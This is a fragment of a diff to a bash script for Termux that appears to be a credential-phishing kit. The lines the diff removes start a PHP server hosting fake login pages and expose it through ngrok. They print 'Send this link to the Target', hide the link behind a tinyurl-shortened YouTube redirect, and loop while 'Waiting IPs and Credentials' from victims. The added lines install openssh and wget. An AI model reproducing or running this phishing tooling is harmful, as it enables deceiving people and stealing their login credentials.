+ apt-get -y install openssh > /dev/null 2>&1
+ sleep 2
+ printf "\e[1;92m[\e[0m+\e[1;92m] Openssh Successfully Installed!\e[0m\n"
fi
-
-printf "\e[1;36m[\e[92m*\e[1;36m]\e[1;34m Starting php server...\n"
-cd sites/$server && php -S 127.0.0.1:3333 > /dev/null 2>&1 &
sleep 2
-printf "\e[1;36m[\e[92m*\e[1;36m]\e[1;34m Starting ngrok server...\n"
-./ngrok http 127.0.0.1:3333 > /dev/null 2>&1 &
-sleep 10
-
-link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
-printf "\e[1;36m[\e[1;92m*\e[1;36m]\e[1;34m Send this link to the Target:\e[0m\e[1;33m %s\e[0m\n" $link
-send_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$link" | head -n1)
-#send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1)
-printf '\n\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;34m Or using tinyurl:\e[0m\e[1;33m %s \n' $send_ip
-printf "\n"
-
-checkfound
-}
-
-start1() {
-if [[ -e sendlink ]]; then
-rm -rf sendlink
+printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Wget\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n"
+if [[ -e /data/data/com.termux/files/usr/bin/wget ]]; then
+ printf "\e[1;92m[\e[0m+\e[1;92m] Wget Found!\e[0m\n"
+ sleep 2
+else
+ printf "\e[1;91m[!] Wget Not Found!\e[0m\n"
+ sleep 2
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing Wget....\e[0m\n"
+ apt-get -y install wget > /dev/null 2>&1
+ sleep 2
+ printf "\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Wget Successfully Installed!\e[0m\n"
fi
-
-
-#printf "\n"
-#printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net (SSH Tunneling, Best!)\e[0m\n"
-#printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
-#default_option_server="1"
-#read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m' option_server
-#option_server="${option_server:-${default_option_server}}"
-#if [[ $option_server == 1 || $option_server == 01 ]]; then
-#startx
-
-#elif [[ $option_server == 2 || $option_server == 02 ]]; then
-start
-#else
-#printf "\e[1;93m [!] Invalid option!\e[0m\n"
-#sleep 1
-#clear
-#start1
-#fi
-
-}
-checkfound() {
-
+sleep 2
printf "\n"
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;92m Waiting IPs and Credentials,\e[0m\e[1;33m Press Ctrl + C to exit...\e[0m\n"
-while [ true ]; do
-
-
-if [[ -e "sites/$server/ip.txt" ]]; then
-printf "\n\e[1;36m[\e[1;92m*\e[1;36m]\e[1;92m IP Found!\n"
-catch_ip
-rm -rf sites/$server/ip.txt
-fi
-sleep 0.5
-if [[ -e "sites/$server/usernames.txt" ]]; then
-printf "\n\e[1;36m[\e[1;92m*\e[1;36m]\e[0m\e[1;92m Credentials Found!\n"
-catch_cred
-rm -rf sites/$server/usernames.txt
-fi
-sleep 0.5
-
-
-done
-
-}
-
-if [[ -f plugins.installed ]] ; then
-
-clear
-banner
+setup
menu
-start
-
-else
- setup
- banner
- menu
- start
-fi
|
|---|